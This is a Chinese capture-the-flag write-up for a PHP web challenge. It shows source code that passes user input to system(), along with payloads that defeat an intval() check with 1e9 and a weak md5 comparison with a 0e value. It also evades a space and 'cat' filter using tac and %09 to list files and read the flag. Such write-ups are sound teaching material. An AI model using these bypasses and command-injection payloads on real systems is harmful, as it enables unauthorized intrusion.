1.
根据提示消息应该在头部
2.查看robots.txt (搜索引擎中访问网站的时候要查看的第一个文件)
访问
3.根据头部查看请求头和响应头
4.查看,打开网页里面对汉字的编译是乱码 ,在火狐浏览器中定制工具里有一个页面编辑的选项,对页面进行编辑,得到源码:
2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
5.
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
之前的题目里有对intval()的利用,当里面是科学计数法的时候会只去前面的整数
intval(1e9)=1
然而+1会对里面的值进行转换,就不是科学计数法了
所以可以令num=1e9
6.
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
md5的绕过,在弱类型比较下值本身与其md5后的值相同,也需要利用科学计数法的漏洞
0e任何数=0 也就是使该值经过md5后仍然是0e开头的值即可,可以编写脚本,我直接从网上找到值,可以令md5=0e215962017
7.
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
可以看出这个函数的作用就是过滤,一是空格,而是cat
关于空格的绕过
关于cat的绕过可以利用tac(tac: 从最后一行开始显示,可以看出 tac 是 cat 的反向显示)
即令get_flag=tac$IFSflag
所以payload: num=1e9&md5=0e215962017&get_flag=tac%09flag
7.看来是路径不对
num=1e9&md5=0e215962017&get_flag=ls
8.num=1e9&md5=0e215962017&get_flag=tac%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag